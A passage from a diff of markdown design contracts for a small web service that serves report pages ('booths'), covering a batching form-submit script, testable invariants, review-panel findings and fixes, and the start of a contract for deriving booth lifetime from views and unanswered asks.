author's form). A form is **dirty** when any control it owns — `form.elements`,
|
||||
which includes every control bound to it by `form=` wherever it sits — differs
|
||||
from its server-rendered default: a radio or checkbox whose `checked` differs
|
||||
from `defaultChecked`, a textarea or text input whose `value` differs from
|
||||
`defaultValue`.
|
||||
|
||||
```
|
||||
submit on one of our forms F:
|
||||
a batch is in flight -> preventDefault; nothing else (never the
|
||||
browser's POST racing the batch)
|
||||
no OTHER of our forms is dirty -> do nothing; the browser's own POST and 303,
|
||||
exactly as before this amendment
|
||||
otherwise -> preventDefault, and send EVERY dirty form of
|
||||
ours, F included only if F is dirty
|
||||
send: one POST per form, to that form's own action, carrying that form's own
|
||||
FormData read AT THE PRESS, with `Accept: application/json` (the
|
||||
route's 204, r2 C3), one after another, in DOCUMENT ORDER of the <form>
|
||||
elements. A refused form does not stop the ones after it. A form the
|
||||
server took (204) gets a new baseline: what it sent. From then on it is
|
||||
dirty only if it differs from THAT.
|
||||
then: no refusal AND nothing -> reload the page (a GET), so what shows is
|
||||
of ours is dirty the server's record
|
||||
otherwise -> NO reload. The pressed form's submit block
|
||||
(a refusal, or a change says how many saved and what did not, with
|
||||
made during the flight) the server's reason, and everything the
|
||||
operator entered stays on the page.
|
||||
A refusal blocks the reload ON ITS OWN: a refused form set back to its
|
||||
first value reads clean, and "nothing dirty" alone reloaded over it.
|
||||
So does unsaved input in the REPORT'S OWN controls (amended
|
||||
2026-09-28): any input, textarea or select not owned by one of our
|
||||
forms that differs from its default. The reload would clear it, and
|
||||
ourForms cannot see it.
|
||||
```
|
||||
|
||||
Five consequences, each deliberate:
|
||||
|
||||
- **A blank pick is skipped, never refused.** A pick with nothing entered is not
|
||||
dirty and is not sent, so pressing its button no longer produces the 400 page
|
||||
the log shows. Blanks stay legal, as `build_answer` has held since 2026-09-09.
|
||||
- **A pick nobody touched is not re-sent — including the one whose button was
|
||||
pressed, and including one this page already saved.** Re-sending an answer
|
||||
re-dates it, and a reading session would see a fresh answer that nobody gave.
|
||||
The moved baseline is what keeps a retry after a partial refusal to exactly
|
||||
the picks that did not save; it also means correcting a saved pick back to
|
||||
its first-rendered value counts as a change and is sent.
|
||||
- **One refused pick costs only itself.** A pick withdrawn or re-declared while
|
||||
the page was open is refused (404 / 400); the rest are saved regardless. This
|
||||
is the partial-answer ruling's reasoning applied one level up: refusing
|
||||
everything because one was stale throws away the ones that were made.
|
||||
- **The page is reloaded only when nothing would be lost by it.** The page
|
||||
stays live while the batch is in flight; a pick made or a note typed in that
|
||||
window is unsaved input, and a reload would clear it — the exact loss this
|
||||
amendment exists to stop. So the reload waits on "every POST succeeded" AND
|
||||
"nothing of ours is dirty" — each on its own. The saved picks' tags stay stale until he
|
||||
reloads, and the message says so. Nothing is ever re-sent without a fresh
|
||||
press; a press after a lost response may re-send (and re-date) a pick that
|
||||
did land, which is the price of never retrying on our own.
|
||||
- **A press during the flight is ignored.** Checked before anything else, so a
|
||||
press on a form with no other dirty form beside it cannot fall through to the
|
||||
browser's POST while the batch runs.
|
||||
|
||||
**What it does not change.** `/answer`, its fields, its 204 and its 303 are
|
||||
untouched: the server has no batch endpoint and no new request shape. A page
|
||||
whose only dirty form is the pressed one gets the plain form submission,
|
||||
byte-identical to before. The status line is server-rendered, empty and
|
||||
`hidden` in the `submit` macro; the script only sets its text, so embed.js
|
||||
still renders no markup of an ask.
|
||||
|
||||
**Step 5 deletes an element.** Today `inject_asks` injects `<a id="bk-ask-<id>-top">`
|
||||
before the first fragment of each pick so the chip has somewhere to jump. The
|
||||
fragments already carry ids; document order in a live DOM is directly queryable;
|
||||
the extra anchor is not needed.
|
||||
|
||||
## Invariants
|
||||
|
||||
Each is falsifiable by a change that a test must catch going red. The
|
||||
*Falsifiable:* line names that change — not a test that merely mentions the
|
||||
invariant. (Five of seven U4 falsifiers were vacuous; see
|
||||
`persistent-memory.d/2026-09-22-vacuous-falsifiers.md`.)
|
||||
|
||||
**INV-1 — A page that declares the seam is served BYTE FOR BYTE.**
|
||||
The response body for a verbatim booth whose `index.html` contains
|
||||
`src="/_booth/embed.js"` (either quote style) is exactly the bytes on disk.
|
||||
⚠ **Bytes, not text, and that is a correction.** The first implementation read
|
||||
with `read_text()`, which opens in universal-newline mode: a CRLF report came
|
||||
back LF, and `errors="replace"` turned any non-UTF-8 byte into U+FFFD. A
|
||||
declaring page was NOT served as its author wrote it — the headline promise —
|
||||
and the test could not see it, because its fixture was LF-only ASCII. The file
|
||||
is decoded only to ask whether it declares the seam; what goes on the wire is
|
||||
the original bytes. A page that only mentions the path is NOT declaring it — see the
|
||||
conditional-append assumption for which way that has to fail.
|
||||
*Falsifiable:* append anything — a chip, a comment, a newline — to the declaring
|
||||
branch's response and `test_declaring_page_is_served_untouched` fails on a
|
||||
whole-body equality, not on a substring absence.
|
||||
|
||||
**INV-2 — A page that does not declare the seam, AND IS UNDER `WRAP_MAX_BYTES`,
|
||||
is mutated exactly once, at the end.** The response is the source BYTES plus
|
||||
`EMBED_SCRIPT_TAG`'s bytes and nothing else, with the source a byte-exact
|
||||
prefix of it.
|
||||
⚠ **The size cap is an explicit exception, not an oversight** — two cold arms
|
||||
read the invariant's universal wording against the raw-`FileResponse`
|
||||
assumption and found them prescribing different responses for the same page. An
|
||||
over-cap page is mutated ZERO times and loses its chrome, exactly as it did
|
||||
before this unit.
|
||||
*Falsifiable:* insert the tag before `</head>` instead of appending, or add the
|
||||
favicon link back, and `test_undeclared_page_gains_only_the_tag` fails the
|
||||
prefix assertion. The exception has its own test,
|
||||
`test_an_oversize_verbatim_page_is_served_raw`, which fails if the append starts
|
||||
firing above the cap.
|
||||
|
||||
**INV-3 — No regular expression is applied to author HTML.**
|
||||
The verbatim branch of `booth_view` performs two `in` tests and one `+`.
|
||||
⚠ **The first draft of this falsifier was VACUOUS and three arms caught it.**
|
||||
It name-matched the six deleted patterns, so reintroducing the same regex under
|
||||
a new name — `_TAIL_RE`, applied in the verbatim branch — left the test green,
|
||||
on this contract's central promise. Worse, this repo's own vacuity pass missed
|
||||
it, because the mutation it tried was the named one: **a vacuity pass is only as
|
||||
good as the mutation it picks, and picking the one the contract names is how it
|
||||
agrees with itself.**
|
||||
*Falsifiable:* `test_no_regex_touches_author_html` walks the AST of
|
||||
`booth/app.py` and asserts the module performs **exactly one** regex operation
|
||||
— `ask_form_id`'s `re.sub` over a mark id, which is not a page — plus that
|
||||
`booth/inline.py` does not exist. Any regex anywhere in the module, under any
|
||||
name, fails it. Verified by mutation: a renamed `_TAIL_RE.sub` in
|
||||
`embed_verbatim` goes red, and the unmutated control stays green.
|
||||
|
||||
**INV-4 — The payload is the only source of what a mark says.**
|
||||
embed.js never decides openness, order, or content. `open` comes from
|
||||
`open_marks`; `marks` order is `marks_for` order; `questions` order is
|
||||
declaration order.
|
||||
*Falsifiable:* the claim ranges over three things and so does the check.
|
||||
**Openness:** have embed.js derive open marks from a `bk-done` class and
|
||||
`test_the_chip_count_comes_from_the_server` fails on a half-answered pick, which
|
||||
`open_marks` calls open and the rendered state does not. **Order:** reverse the
|
||||
tail iteration and `test_the_tail_follows_payload_order` fails. **Content:** the
|
||||
fragments are strings the page never authors, which
|
||||
`test_every_piece_the_author_can_place_is_offered` pins on the server side.
|
||||
|
||||
**INV-5 — `/_booth/embed.js` is read once at startup.**
|
||||
*Falsifiable:* change the route to `read_text()` per request and
|
||||
`test_embed_js_does_not_hot_reload_from_disk` fails — it mutates the file on
|
||||
disk after the app is built and asserts the served body is unchanged.
|
||||
|
||||
**INV-6 — Every ordered collection this unit renders has a stated rule.**
|
||||
Anchors are visited in **document order** (`querySelectorAll`). The tail is
|
||||
appended in **payload order**, which is `(created, id)` — the rule `marks_for`
|
||||
and `hold_read` both sort by, stated here as the rule rather than as one
|
||||
function's name. Questions
|
||||
within a mark are in **declaration order**. The chip targets the **first element
|
||||
in document order** whose id starts with the open mark's prefix.
|
||||
*Falsifiable:* sort the tail by anything else — id, key, insertion — and
|
||||
`test_tail_order_is_payload_order` fails against a fixture whose creation order
|
||||
and id order disagree.
|
||||
|
||||
**INV-7 — Every question of every READABLE pick reaches the document, on a
|
||||
page that runs the script.** Either placed at an anchor or appended, and every
|
||||
pick with a placed question has a submit block.
|
||||
⚠ **Two qualifiers, both added because arms read the first wording literally and
|
||||
were right.** *Readable*: a pick carrying `error` has no questions to place —
|
||||
`marks._hydrate` gives it an empty list — so the tail mounts its broken-ask box
|
||||
and stops, and an unqualified "every pick" would have demanded placement the
|
||||
algorithm forbids in exactly the damaged-data case the leniency posture exists
|
||||
for. *Reaches the document*, not "is visible": the Booth cannot police an author
|
||||
who hides their own anchor, and a guarantee that claimed to would be unenforceable
|
||||
rather than strict.
|
||||
*Falsifiable:* drop the "append the questions the author did not place" branch
|
||||
and `test_partially_marked_page_still_shows_every_question` fails in the browser
|
||||
with 2 of 4 radio groups present.
|
||||
|
||||
**INV-8 — One submit saves every pick on the page the operator changed
|
||||
(amended 2026-09-27).** Per "Submitting several asks at once": every dirty form
|
||||
of ours is sent, in document order; a clean one never is, nor a saved one
|
||||
again; a refused one stops nothing; the page reloads only when nothing was
|
||||
refused and nothing of ours is left unsaved; a press during the flight is ignored; and with no other dirty
|
||||
form the submit is the browser's own.
|
||||
*Falsifiable*, one change per clause, each in `tests/mutations/u3_submit_all.toml`:
|
||||
send only the pressed form and
|
||||
`test_one_submit_saves_every_answered_ask_on_the_page` fails; send the pressed
|
||||
form whether or not it is dirty and `test_a_blank_ask_is_skipped_never_refused`
|
||||
fails; send every form regardless and `test_an_ask_nobody_touched_is_not_re_sent`
|
||||
fails; intercept a lone dirty form and `test_one_changed_ask_still_submits_as_a_plain_form`
|
||||
fails; send in reverse and `test_the_asks_are_sent_in_document_order` fails;
|
||||
stop at the first refusal, reload on one, or never show the status line, and
|
||||
`test_a_refused_ask_costs_only_itself_and_clears_nothing` fails; listen to every
|
||||
form on the page, or trust our id prefix without the mounted-root check, and
|
||||
`test_an_authors_own_form_is_never_taken_over` fails; let a press in flight fall
|
||||
through and `test_a_press_inside_the_flight_never_fires_a_native_post` fails;
|
||||
reload when every POST succeeded regardless of what changed meanwhile and
|
||||
`test_input_made_during_the_flight_is_kept_and_saved_on_the_next_press` fails;
|
||||
leave a saved form's baseline where it was and
|
||||
`test_a_retry_after_a_refusal_sends_only_what_did_not_save` fails; drop the
|
||||
class-level `[hidden]` rule and `test_the_empty_status_line_stays_hidden_under_host_css`
|
||||
fails; let "nothing dirty" alone decide the reload and
|
||||
`test_a_refusal_blocks_the_reload_even_when_nothing_reads_dirty` fails; ignore
|
||||
the report's own inputs and
|
||||
`test_a_clean_batch_does_not_reload_over_text_typed_into_the_report` fails.
|
||||
|
||||
## Out of scope (deferred or never)
|
||||
|
||||
Named so a reviewer does not read them as drift.
|
||||
|
||||
- **The gallery page's chrome.** Only a booth's own `index.html` is served
|
||||
verbatim; every other surface is server-rendered end to end and has no seam
|
||||
problem. `/_booth/embed.js` is not loaded there and is not meant to be.
|
||||
- **Re-rendering an ask in JavaScript.** The payload carries server-rendered
|
||||
HTML and embed.js places it. A JS renderer would be a second renderer of one
|
||||
truth — the bug the repo's one-resolver rule exists to stop.
|
||||
- **A no-JavaScript fallback on the verbatim path.** The operator's 2026-09-21
|
||||
ruling accepts the script dependency. The never-invisible guarantee degrades
|
||||
to surfaces that need no script (the index card's badge, `/b/<name>/marks`),
|
||||
and that is the stated cost, not an oversight to be fixed here.
|
||||
- **The HTML-comment placeholders** `<!-- booth:ask … -->`. Zero users across
|
||||
all 21 live booths; dropped rather than ported. A page that used one falls
|
||||
back to the append path, so its ask still renders.
|
||||
- **`_ask_inline.html`'s dead `standalone=False` macro parameter.** No caller
|
||||
has passed `True` since U2 turned the standalone asks page into a 308.
|
||||
Deleting it is tidy-up and changes a macro signature for no behavioural gain.
|
||||
- **`base.html`'s literal duplicate of the favicon data URI.** It predates this
|
||||
unit. The payload reads `FAVICON_HREF`, so this unit adds no third copy; it
|
||||
does not remove the second.
|
||||
- **`WRAP_MAX_BYTES` and its raw-serve fallback.** Unchanged at 8 MiB. A booth
|
||||
over the cap loses its chrome exactly as it did before — no regression, and
|
||||
the constant keeps its existing test.
|
||||
- **`GET /b/<name>/asks`.** Already a 308 into `/marks` since U2. Left alone:
|
||||
the URL is in the operator's history and in landed reports.
|
||||
- **Pushing, and the version bump tier.** Minor needs the operator's approval.
|
||||
|
||||
## Slices
|
||||
|
||||
| # | slice | red→green on |
|
||||
|---|---|---|
|
||||
| 1 | `GET /b/{name}/embed.json` — payload shape, order, leniency, no view recorded | payload tests; existing 410 stay green |
|
||||
| 2 | `GET /_booth/embed.js` — served from a startup read, ETag, no hot reload | INV-5 |
|
||||
| 3 | the verbatim branch rewritten; `inject_asks` and `wrap_verbatim_html` deleted | INV-1, INV-2, INV-3 |
|
||||
| 4 | `booth/static/embed.js` — nav, favicon, styles, no marks yet | browser: chip present, icon set, declaring page untouched |
|
||||
| 5 | placement: anchors, tail, submit, re-association | browser: INV-4, INV-6, INV-7; the live `dfa-concepts` and `sindra-voice-1` shapes as fixtures |
|
||||
| 6 | delete `inline.py`; retire the six tests that test the deleted mechanism; docs | suite green, IA doc and ROADMAP updated |
|
||||
|
||||
## Seam review
|
||||
|
||||
The sibling-aware pass, run in-session against the real module surfaces rather
|
||||
than against the sibling contracts' prose. `/heid-contract-review` is
|
||||
artifact-only by design and structurally cannot see `booth/marks.py`, so this is
|
||||
the only gate that can check what the contract borrows from it.
|
||||
|
||||
| # | finding | disposition |
|
||||
|---|---|---|
|
||||
| **SR-1** | The order invariant named `marks_for`'s ordering. The route actually reads through `hold_read` — one read answering both "what is here" and "can it be read", per the TOCTOU lesson — and only falls back to `marks_for` on the error path. Both sort `(created, id)`, so the contract was not wrong, but it named a function where it meant a rule. | **Amended.** INV-6 states the rule. The route's reader is named in the payload section. |
|
||||
| **SR-2** | **The payload shape was wrong.** `questions` as a JSON object keyed by question key breaks on a single-question pick, whose only question has `key: None` (`asks.normalize_ask`, the `multi: False` branch) — `json.dumps` writes that key as the string `"null"`. Every one-question ask in the fleet hits it, including the live `sindra-voice-1`. | **Scope fix.** `questions` is a list of `{key, html}`; `key` is nullable; declaration order is carried by the format. `booth.asks.normalize_ask` added to `depends_on`. |
|
||||
| **SR-3** | `inline.form_id` was inside the module the contract deletes entirely, but it is not placement machinery — it builds the shared `<form>` id the question fragments bind to with `form=`. Deleting the module as written would delete the fragments' ability to submit. | **Scope miss.** `form_id` moves to `booth/app.py`; `touches` says so. |
|
||||
| **SR-4** | A FLAG mark's id is literally `flag:<target>` (`marks.flag_id`) — it contains the separator the anchor spec splits on. It never reaches the payload only because the payload filters `shape == "pick"`, and pick ids are `valid_stem`-checked (no colon). | **No change, stated.** The filter is load-bearing, not incidental; a later widening of the payload to all shapes would break the split rule silently. |
|
||||
| **SR-5** | `_ask_inline.html`'s `question(a, q, form_id, name_url, standalone=False)` has had no caller passing `standalone=True` since the standalone asks page became a 308 in U2. Dead parameter on a macro this unit edits. | **Out of scope, noted.** Deleting it is tidy-up, not this unit's work, and it changes a macro signature for no behavioural gain. |
|
||||
|
||||
## Contract review — the cold panel
|
||||
|
||||
`/heid-contract-review`, four arms, dispatched `01M351WKV666D681SSRNY7D7X6`.
|
||||
Triaged per the cross-frontier discipline: adopted on merits, not on authority.
|
||||
|
||||
| # | finding | arms | disposition |
|
||||
|---|---|---|---|
|
||||
| **CR-1** | **The seam never tells `embed.js` which booth it is on.** The declared line is byte-identical for every booth, the payload endpoint needs `{name}`, and the name arrives inside the response the fetch needs it to make. Every other section depends on this unstated hop. | 3 of 4, independently | **Genuine add, and the round's headline.** The code already derived it from `location.pathname`; the CONTRACT did not say so, which makes a "public API" whose discovery mechanism is unspecified not fully one. New section: *How the script learns which booth it is on*. No code change. |
|
||||
| **CR-2** | **INV-3's falsifier was vacuous** — it name-matched the six deleted patterns, so a renamed regex applied to the page body kept it green, on this contract's central promise. | 3 of 4 | **Genuine add, and a CODE-side fix.** The test now asserts `booth/app.py` performs exactly one regex operation anywhere in the module. Verified by mutation in both directions. The lesson is sharper than the fix: **this repo's own vacuity pass missed it because it tried the mutation the contract named** — a pass that picks the named mutation agrees with itself. |
|
||||
| **CR-3** | **Declaration by bare substring fails in the dangerous direction.** A report that merely mentions `/_booth/embed.js` — a code sample, a comment — counted as declaring it and was served with no chrome at all, silently. | 3 of 4 | **Genuine add, CODE-side.** Detection now requires `src="…"` (either quote style), which fails toward a harmless duplicate tag instead. New test covers prose, comment and `?v=2` spellings. |
|
||||
| **CR-4** | **INV-2 and the size cap prescribe different responses** for an over-cap non-declaring page, and neither the invariant's wording nor a named falsifier carved the exception. | 2 of 4 | **Genuine add.** INV-2 now states the cap as an explicit exception and names the test that holds it. Code and test were already right. |
|
||||
| **CR-5** | **The tail's four arrows read as independent tests**, under which one unplaced mark mounts its whole form AND every question AND a submit block. | 1 | **Genuine add.** The notation allowed it and the prose did not forbid it. The block is now explicit if/elif/else. Code was already exclusive. |
|
||||
| **CR-6** | **INV-7 quantified over picks the algorithm filters** (errored picks) and over "visible", which placement cannot guarantee. | 2 of 4 | **Genuine add, wording.** INV-7 is now scoped to READABLE picks and claims *reaches the document*, not *is visible*. |
|
||||
| **CR-7** | The chip's prefix rule can select `bk-ask-batch2-r1` for mark `batch`, or an author's own element. | 1 | **Sharpening.** The code always matched exactly-or-hyphen; the contract said "starts with". Wording fixed, and `test_the_chip_does_not_jump_to_a_mark_that_merely_shares_a_prefix` now holds it. |
|
||||
| **CR-8** | Precedence undefined when one element carries both attribute spellings; submit-anchor key handling unstated. | 1 | **Sharpening.** Both stated; `test_the_canonical_attribute_wins_when_both_are_present` added. |
|
||||
| **CR-9** | The damaged-`.marks.json` payload shape was never stated — per-mark `error` was the only error shown. | 1 | **Genuine add, wording.** Stated in *What crosses the seam*. Test already existed. |
|
||||
| **CR-10** | "INV-1" names two different obligations — this contract's untouched-page rule, and the repo's one-resolver rule the assumptions cite. | 1 | **Genuine add, wording.** The assumptions now name CLAUDE.md invariant 3 explicitly. A real collision: the local falsifier goes red on an added newline and stays green if embed.js becomes a second renderer. |
|
||||
| **CR-11** | INV-4's falsifier covered openness while the invariant claimed openness, order AND content. | 1 | **Sharpening.** The falsifier now names a test per clause. |
|
||||
| **CR-12** | `html.questions` keyed by question name vs the top-level `questions` list — which is authoritative? And INV-4 naming `marks_for`'s order while INV-6 fixed `(created, id)`. | 2 | **Settled before the reply landed.** The in-session seam review collapsed both (SR-1, SR-2) while the panel was in flight. Independent convergence on the same two spots — worth recording, not re-fixing. |
|
||||
|
||||
**One arm's finding not adopted**, and the reason: that a question mounted into
|
||||
an author-hidden anchor is still invisible. True, and out of reach — the Booth
|
||||
cannot police an author hiding their own markup. Answered by narrowing INV-7's
|
||||
claim rather than by chasing actual visibility (CR-6).
|
||||
|
||||
**Methodology note the panel raised on its own**, relayed by heid: 5 of 8 arms
|
||||
across two unrelated callers the same evening independently proposed promoting
|
||||
the end-to-end seam-walk from a conditional deliverable to a mandatory one.
|
||||
CR-1 is a direct product of that exercise. Recorded here as evidence; the skill
|
||||
change is the operator's call, not this repo's.
|
||||
|
||||
## Bug hunt — the cold panel
|
||||
|
||||
`/heid-bug-hunt`, four arms, artifact-only over the merge-base diff, dispatched
|
||||
`01M352TPCSN52G6NGJ07T5WSGY`. ⚠ **The snapshot predates the contract-review
|
||||
fixes**, so two of its findings were already closed when the reply landed; the
|
||||
arms flagged the staleness themselves.
|
||||
|
||||
| # | finding | arms | disposition |
|
||||
|---|---|---|---|
|
||||
| **BH-1** | **A declaring page was NOT served as written.** `read_text()` opens in universal-newline mode, so a CRLF report came back LF, and `errors="replace"` replaced any non-UTF-8 byte. The headline promise, broken by the read itself — and invisible to a test whose fixture is LF-only ASCII. | 1 | **Genuine add, and the best finding of the round.** The verbatim branch reads and serves BYTES; the decoded copy answers only "does it declare?". INV-1 and INV-2 now state the byte-level promise, with a CRLF-plus-invalid-byte fixture. |
|
||||
| **BH-2** | **A submit anchor inside the author's own `<form>` loses ours** — the HTML parser drops a nested form outright. Every control's `form=` then points at nothing, and the code recorded the pick as submitted so the tail added no fallback. The operator fills it in and the button does nothing. | 1 | **Genuine add.** A submit anchor counts as submitted only if the form actually survived (`hasForm`); otherwise the tail supplies one at body level, where no form encloses it. |
|
||||
| **BH-3** | **A broken pick's diagnostic never rendered from a submit-only anchor.** An errored pick's `submit` is empty; mounting that and marking it placed made the tail skip it, so the "broken ask" box vanished from the one surface built to show it. | 3 of 4 | **Genuine add.** A submit anchor for an errored pick is left alone, exactly as an anchor naming no mark is, and the tail mounts the diagnostic. |
|
||||
| **BH-4** | **An author's own element can hijack the chip.** `<section id="bk-ask-winner-background">` satisfies any id-prefix rule — the hyphen boundary from CR-7 included. | 4 of 4 | **Genuine add, and it supersedes CR-7's fix.** The chip now searches only the elements THIS SCRIPT MOUNTED, which is the identity the deleted `bk-ask-<id>-top` anchor used to guarantee, and takes the earliest of those by `compareDocumentPosition`. |
|
||||
| **BH-5** | **No error boundary around fragment rendering.** A `.marks.json` that is well-formed JSON with a wrong-shaped `answer` hydrates with no error and then raises in the macro. | 1, `needs-repro` | **Genuine add — reproduced before building for it.** `_safe_fragments` returns a per-mark error record, the same leniency `_hydrate_safe` applies one layer down. ⚠ **The gallery and marks pages still 500 on it, and that is PRE-EXISTING** — measured at `42ea67f`. Out of scope here and recorded rather than quietly widened: `persistent-memory.d/2026-09-22-a-wrong-shaped-answer-500s-the-gallery.md`. **CLOSED 2026-09-22**, after U6, at the hydration boundary rather than by a third copy of this guard — so `_safe_fragments` no longer has a reachable natural trigger and is now a pure backstop, falsified synthetically. Hardening the falsifier found that this guard's own fallback re-rendered through the macro module that had just raised, so it re-raised whenever `whole` was the broken thing; fixed in the same pass. |
|
||||
| **BH-6** | Prototype pollution in the placement maps (`toString` as a mark id, `constructor` as a question key). | 1 | **Already fixed this round** as CR-13, from the code-review panel. Two panels, two lenses, the same defect independently — the strongest signal of the evening that the lenses are not redundant. |
|
||||
| **BH-7** | Bare-substring declaration suppresses the chrome. | 4 of 4 | **Already fixed** as CR-3, before the reply landed. |
|
||||
|
||||
**One correction the panel made to this repo's own prose, adopted:** several
|
||||
comments claimed a multi-question pick POSTs a 400 unless every question is
|
||||
answered. It does not — `test_empty_submission_is_refused_with_400` refuses a
|
||||
WHOLLY EMPTY submission, and a partial answer is accepted and recorded on
|
||||
purpose. The real reason an unplaced question must still be appended is simpler
|
||||
and was being obscured: **a question that never reaches the page cannot be
|
||||
answered at all.** Fixed in `embed.js`, the browser tests and this contract.
|
||||
|
||||
**Not adopted:** the bundle's framing called the service Flask. It is FastAPI;
|
||||
the arm noticed and declined to reason from it, which is the right handling.
|
||||
|
||||
## Vacuity pass — final
|
||||
|
||||
21 mutations, each drawn from an invariant's CLAIM rather than its falsifier's
|
||||
example, each run against its named test, plus an unmutated control run.
|
||||
**21/21 caught, control green.**
|
||||
|
||||
The pass earned its place three times over and none of them was the first run:
|
||||
|
||||
1. It reported **7/7** before the contract panel, which then showed INV-3 was
|
||||
vacuous — because the mutation applied was the one the contract named.
|
||||
2. Re-run **against that fix**, it found the fix's own hole (an aliased
|
||||
`import re as _r`).
|
||||
3. Re-run after the bug-hunt fixes, it reported seven **MUTATION-MISS** rows —
|
||||
its loud-failure mode, firing correctly because the fixes had moved the code
|
||||
out from under stale mutations — and then one genuine **VACUOUS**: the
|
||||
sibling-mark chip test had its fixture arranged so the right answer was also
|
||||
the first answer. Rewritten so the sibling comes first, which is the only
|
||||
arrangement that can tell the two implementations apart.
|
||||
@@ -0,0 +1,606 @@
|
||||
---
|
||||
contract_version: "1.0"
|
||||
module: "booth.app (lifetime)"
|
||||
purpose: "A booth's lifetime stops being a boolean somebody remembered to press and becomes a fact derived from the booth's own state. Today there is ONE lifetime (24h from the newest mtime in the tree) and ONE escape hatch (`.forever`), and the measurement says the escape hatch is carrying the main load: 17 of 24 live booths (70%) hold the sentinel, up from the 13 of 24 (54%) counted on 2026-09-21. That is not `ephemeral with an exception`; it is two lifetimes wearing one lifetime's clothes, with the operator doing the sorting by hand. This unit adds the two facts the sweeper was missing -- a booth the operator still owes an answer to is HELD, and looking at a booth is ACTIVITY -- so the cases that were pressing `.forever` for `not yet` stop needing it, and `keep` is left meaning only what it says: this is durable."
|
||||
depends_on:
|
||||
- "booth.marks (`hold_read` -- ADDED BY THIS UNIT, the one-read pair the lifetime rule needs; and `open_marks` -- THE openness predicate, built for this unit and saying so in its own docstring: `Open is the reading that makes U4 correct: a lifetime rule that unpinned a booth on the first radio click would sweep a review in flight.` U4 CALLS it and does not re-derive it. Also `marks_for` (lenient read, never raises) and `read_error` (strict read, total -- it catches its own `MarksCorrupt` and returns a string). Verified against booth/marks.py, not against U2's contract prose: `marks_for` is `_read_raw` + `_hydrate_safe` + sort at marks.py:514; `read_error` is `_read_raw_strict` in a try/except at marks.py:262 and has no raising path.)"
|
||||
- "booth.items (the dotfile skip in `booth_items` at items.py -- `.viewed` is excluded from tiles, counts and zips by the EXISTING `p.name.startswith('.')` rule, exactly as `.marks.json`, `.booth.json` and `.forever` are. No new exclusion is added or needed.)"
|
||||
language: "python"
|
||||
complexity: "medium"
|
||||
estimated_loc: 130
|
||||
used_by:
|
||||
- "booth.app.sweep_once (gains the hold check beside the keep check -- the one place reaper policy lives)"
|
||||
- "booth.app.list_booths (the index card gains `held` and `marks_error`, so the card can say WHY it is not counting down)"
|
||||
- "booth.app.booth_view / booth_view_file / booth_marks_page (each records a view; `/b/<n>/asks` is a 308 redirect into the last of these and so needs no call of its own)"
|
||||
- "booth.app.booth_unkeep (release is activity -- stated, where it used to be an accident of directory mtime)"
|
||||
- "booth/templates/index.html, booth/templates/booth.html (the lifetime line: `expires in X` / `held until answered` / `kept`)"
|
||||
touches:
|
||||
- "booth/app.py (VIEW_MARKER, record_view, is_held; sweep_once, list_booths, booth_view, booth_view_file, booth_marks_page, booth_unkeep; the module docstring's lifetime paragraph)"
|
||||
- "booth/templates/index.html (the ephemeral card's sub-line becomes a three-state lifetime line)"
|
||||
- "booth/templates/booth.html (the same three-state line in the boothhead)"
|
||||
- "booth/templates/_lifetime.html (new -- the lifetime macro, defined ONCE and called from three surfaces. Not in the first draft of this inventory: a four-state conditional repeated three times is the blurtoggle lesson, and U5 had already established the partial as the house answer.)"
|
||||
- "booth/templates/marks.html (INV-4's third surface. A verbatim booth has no Booth-rendered header, so without this the booths most likely to be HELD -- a report that asks something -- would be the ones that never say so. Found by looking at the live service, not by the suite.)"
|
||||
- "booth/templates/base.html (one CSS rule for the held state)"
|
||||
- "scripts/booth (the header's `THE 24h RULE AND ITS ONE EXCEPTION` block, which states the old doctrine as the whole doctrine, and the `DO NOT unkeep and let it expire` block. The WARNING STAYS AND STAYS TRUE -- release still buys a full TTL, so unkeep-and-wait is still a delay rather than a delete. What changes is that it stops being phrased as a surprise about directory metadata and starts being phrased as the rule it now is. The paraphrase panel read the touches line as possibly meaning the advice was being retired; it is not.)"
|
||||
- "README.md (the TTL paragraph)"
|
||||
- "CLAUDE.md (invariant 2's dotfile list gains `.viewed`)"
|
||||
- "tests/test_lifetime.py (new)"
|
||||
- "tests/test_booth.py (ONE cross-reference comment. The draft said the two release-clock tests would gain an assertion that the marker is written; implementation showed they must not. `test_releasing_a_board_RESETS_its_ttl_clock` unlinks the sentinel BY HAND, not through the route, so it is a test of the mtime mechanism and asserting a route side-effect in it would be testing the wrong thing. The route behaviour is `test_releasing_a_board_RECORDS_A_VIEW` in the new file; the comment points at it. No existing assertion is touched.)"
|
||||
assumptions:
|
||||
- "A VIEW IS RECORDED AS A DOTFILE, AND THE EXISTING AGE RULE READS IT. `.viewed` is a dotfile but NOT a `.lock` dotfile, so `_newest_mtime` already counts it (app.py:220 excludes only `.<name>.lock`). There is therefore NO new arithmetic in `booth_age_seconds`, `is_expired` or `expires_in`: `age = now - newest mtime in the tree` is unchanged, and a view is simply one more thing in the tree. One mechanism, not two. This is the same reason `.booth.json` needed no integration work in U5."
|
||||
- "THE LOCK EXEMPTION IS WHY THIS IS SAFE. `_newest_mtime` excludes `.<name>.lock` because those are created by a READ-MODIFY-WRITE path, including one that changes nothing -- machinery, not activity. `.viewed` is the opposite: it is written only by a deliberate GET of a booth's own page. The exemption's rule (`machinery does not count, deliberate acts do`) is unchanged and this lands on the counted side of it."
|
||||
- "RECORDING A VIEW MUST NEVER FAIL THE REQUEST. `record_view` swallows `OSError` -- a read-only mount, a booth owned by another uid, a full disk. The same posture `marks._Locked.__enter__` takes on its `os.utime` and for the same reason, stated there: `Not putting the clock back is a cost this module can absorb; not answering the request is not.` A booth that cannot record a view simply expires on its content mtime, which is today's behaviour."
|
||||
- "HOLD IS FAIL-SAFE, WHERE READS ARE FAIL-OPEN. `marks_for` is lenient by design -- a damaged `.marks.json` reads as no marks, because a review surface that will not render is worse than one that has lost an annotation. That trade is right for a RENDER and wrong for a DELETE: the same leniency on the sweep path would wipe the booth whose judgment we had just failed to read, artifacts and all. So `is_held` treats an unreadable marks file as held. Reads lenient, deletes strict -- the same asymmetry U2 established between `marks_for` and `_Locked`, extended to the reaper. `THE REAPER` IS THE WHOLE SCOPE OF `deletes strict`, and the paraphrase panel ranked the ambiguity here first by stake: a HAND delete is never strict. `booth rm`, `POST /b/<n>/delete` and `DELETE /b/<n>` take a booth held by unreadable marks exactly as they take a kept one, which is what gives that hold -- the one nothing releases on its own -- an exit at all. Strictness is a property of the TIMER, never of the operator."
|
||||
